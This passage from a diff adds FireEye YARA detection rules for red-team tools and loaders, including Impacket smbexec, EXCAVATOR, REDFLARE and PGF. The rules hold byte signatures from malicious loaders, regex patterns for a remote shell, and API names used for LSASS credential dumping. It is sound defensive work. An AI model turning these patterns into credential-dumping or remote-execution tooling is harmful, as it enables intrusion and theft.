+        $cond1 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 80 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 5A B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 E9 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AC 96 01 00 48 8D 45 AF 48 89 C1 E8 F0 FE 00 00 48 8B 05 25 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6B B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 AA B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 61 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 4F B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 20 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 0E C8 05 00 48 8B 05 69 8A 06 00 FF D0 48 8D 15 0A C8 05 00 48 89 C1 48 8B 05 5E 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 19 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 01 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 E0 F9 FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 87 F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CB 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 37 FC 00 00 48 89 D8 48 89 C1 E8 4C AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9A 9C 01 00 48 89 D8 48 89 C1 E8 2F AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+        $cond2 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8D 85 ?? ?? ?? ?? 41 B8 04 01 00 00 48 89 C2 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 89 C2 B9 08 00 00 00 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 38 04 00 00 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? 00 74 ?? 48 8D 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 41 B8 00 00 00 00 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 FF 0F 95 C0 84 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 48 8B 45 ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 45 ?? 48 89 E8 48 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 C7 45 ?? 00 00 00 00 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 39 C2 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 73 ?? 48 8B 45 ?? 48 8B 00 48 8B 55 ?? 48 81 C2 00 10 00 00 48 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 8B 4D ?? 48 8B 55 ?? 48 01 CA 48 39 D0 0F 83 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 8B 45 ?? 48 8B 00 48 8D 95 ?? ?? ?? ?? 41 B8 30 00 00 00 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 48 8B 45 ?? 48 8B 00 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 00 00 00 00 EB ?? 90 EB ?? 90 48 83 45 ?? 08 E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 48 63 D0 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 89 C2 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 01 00 00 00 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB 01 EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 28 07 00 00 5B 5D C3 }
+        $cond3 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 C1 7C 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 33 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 B2 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 75 96 01 00 48 8D 45 AF 48 89 C1 E8 B9 FE 00 00 48 8B 05 66 7C 06 00 FF D0 89 C2 B9 08 00 00 00 E8 3C B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 83 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 2A F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 28 B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 69 7B 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 11 B9 05 00 48 8B 05 A2 7B 06 00 FF D0 48 8D 15 0D B9 05 00 48 89 C1 48 8B 05 97 7B 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 5A 7B 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 22 7B 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 59 FB FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 00 FB FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 94 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 00 FC 00 00 48 89 D8 48 89 C1 E8 45 AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 63 9C 01 00 48 89 D8 48 89 C1 E8 28 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+        $cond4 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 D3 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 65 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 EC FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AF 96 01 00 48 8D 45 AF 48 89 C1 E8 F3 FE 00 00 48 8B 05 78 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6E B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 B5 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 64 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 5A B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 73 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 45 C8 05 00 48 8B 05 B4 8A 06 00 FF D0 48 8D 15 41 C8 05 00 48 89 C1 48 8B 05 A9 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 6C 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 54 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 33 FA FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 DA F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CE 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 3A FC 00 00 48 89 D8 48 89 C1 E8 4F AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9D 9C 01 00 48 89 D8 48 89 C1 E8 32 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and any of them
+}
+rule HackTool_PY_ImpacketObfuscation_1
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        description = "smbexec"
+        md5 = "0b1e512afe24c31531d6db6b47bac8ee"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s1 = "class CMDEXEC" nocase
+        $s2 = "class RemoteShell" nocase
+        $s3 = "self.services_names"
+        $s4 = "import random"
+        $s6 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]%CoMSpEC%[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
+        $s7 = /self\.__serviceName[\x09\x20]{0,32}=[\x09\x20]{0,32}self\.services_names\[random\.randint\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}len\(self\.services_names\)[\x09\x20]{0,32}-[\x09\x20]{0,32}1\)\]/
+    condition:
+        all of them
+}
+rule APT_HackTool_Win64_EXCAVATOR_2
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "4fd62068e591cbd6f413e1c2b8f75442"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $api1 = "PssCaptureSnapshot" fullword
+        $api2 = "MiniDumpWriteDump" fullword
+        $dump = { C7 [2-5] FD 03 00 AC 4C 8D 4D ?? 41 B8 1F 00 10 00 8B [2-5] 48 8B 4D ?? E8 [4] 89 [2-5] 83 [2-5] 00 74 ?? 48 8B 4D ?? FF 15 [4] 33 C0 E9 [4] 41 B8 10 00 00 00 33 D2 48 8D 8D [4] E8 [4] 48 8D 05 [4] 48 89 85 [4] 48 C7 85 [8] 48 C7 44 24 30 00 00 00 00 C7 44 24 28 80 00 00 00 C7 44 24 20 01 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4] 48 89 85 [4] 48 83 BD [4] FF 75 ?? 48 8B 4D ?? FF 15 [4] 33 C0 EB [0-17] 48 8D [5] 48 89 ?? 24 30 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 41 B9 02 00 00 00 4C 8B 85 [4] 8B [1-5] 48 8B 4D ?? E8 }
+        $enable_dbg_pri = { 4C 8D 45 ?? 48 8D 15 [4] 33 C9 FF 15 [4] 85 C0 0F 84 [4] C7 45 ?? 01 00 00 00 B8 0C 00 00 00 48 6B C0 00 48 8B 4D ?? 48 89 4C 05 ?? B8 0C 00 00 00 48 6B C0 00 C7 44 05 ?? 02 00 00 00 FF 15 [4] 4C 8D 45 ?? BA 20 00 00 00 48 8B C8 FF 15 [4] 85 C0 74 ?? 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 45 ?? 33 D2 48 8B 4D ?? FF 15 }
+    condition:
+        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B)) and all of them
+}
+rule APT_Loader_Raw32_REDFLARE_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "4022baddfda3858a57c9cbb0d49f6f86"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $load = { EB ?? 58 [0-4] 8B 10 8B 48 [1-3] 8B C8 83 C1 ?? 03 D1 83 E9 [1-3] 83 C1 [1-4] FF D? }
+    condition:
+        (uint16(0) != 0x5A4D) and all of them
+}
+rule APT_Loader_Win64_PGF_2
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        description = "base dlls: /lib/payload/techniques/dllmain/"
+        md5 = "4326a7e863928ffbb5f6bdf63bb9126e"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $sb1 = { B9 [4] FF 15 [4-32] 8B ?? 1C [0-16] 0F B? ?? 04 [0-64] F3 0F 6F 00 [0-64] 66 0F EF C8 [0-64] F3 0F 7F 08 [0-64] 30 ?? 48 8D 40 01 48 83 ?? 01 7? }
+        $sb2 = { 44 8B ?? 08 [0-32] 41 B8 00 30 00 00 [0-16] FF 15 [4-32] 48 8B C8 [0-16] E8 [4-64] 4D 8D 49 01 [0-32] C1 ?? 04 [0-64] 0F B? [2-16] 41 30 ?? FF 45 3? ?? 7? }
+        $sb3 = { 63 ?? 3C [0-16] 03 [1-32] 0F B? ?? 14 [0-16] 8D ?? 18 [0-16] 03 [1-16] 66 ?? 3B ?? 06 7? [1-64] 48 8D 15 [4-32] FF 15 [4-16] 85 C0 [2-32] 41 0F B? ?? 06 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_HackTool_MSIL_SHARPTEMPLATE_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharptemplate' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "e9e452d4-9e58-44ff-ba2d-01b158dda9bb" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_MODIFIEDSHARPVIEW_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'modifiedsharpview' project."
+        md5 = "db0eaad52465d5a2b86fdd6a6aa869a5"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win32_PGF_5
+{
+    meta:
+        description = "PGF payload, generated rule based on symfunc/a86b004b5005c0bcdbd48177b5bac7b8"
+        md5 = "8c91a27bbdbe9fb0877daccd28bd7bb5"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $cond1 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 10 30 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 5C 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 00 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
+        $cond2 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 20 33 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 58 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 2C 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
+        $cond3 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 C7 45 ?? 00 00 00 00 C6 85 ?? ?? ?? ?? 00 68 03 01 00 00 6A 00 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 ?? 00 00 00 00 C6 45 ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 6A 01 6A 00 8D 8D ?? ?? ?? ?? 51 6A 00 68 9C 10 00 10 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 6A 14 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 ?? 8B 45 ?? 8A 48 ?? 88 4D ?? 8B 55 ?? 83 C2 0C 8B 45 ?? 8B 0A 89 08 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 52 ?? 89 50 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 85 ?? ?? ?? ?? 83 C0 01 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 14 7D ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 11 0F B6 45 ?? 33 D0 8B 4D ?? 03 8D ?? ?? ?? ?? 88 11 EB ?? 8B 55 ?? 8B 42 ?? 89 45 ?? 6A 40 68 00 30 00 00 8B 4D ?? 51 6A 00 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B 45 ?? 83 C0 20 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 95 ?? ?? ?? ?? 83 C2 01 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 09 8B 85 ?? ?? ?? ?? 99 BE 14 00 00 00 F7 FE 8B 45 ?? 0F B6 14 10 33 CA 8B 45 ?? 03 85 ?? ?? ?? ?? 88 08 EB ?? 8B 4D ?? 89 4D ?? FF 55 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
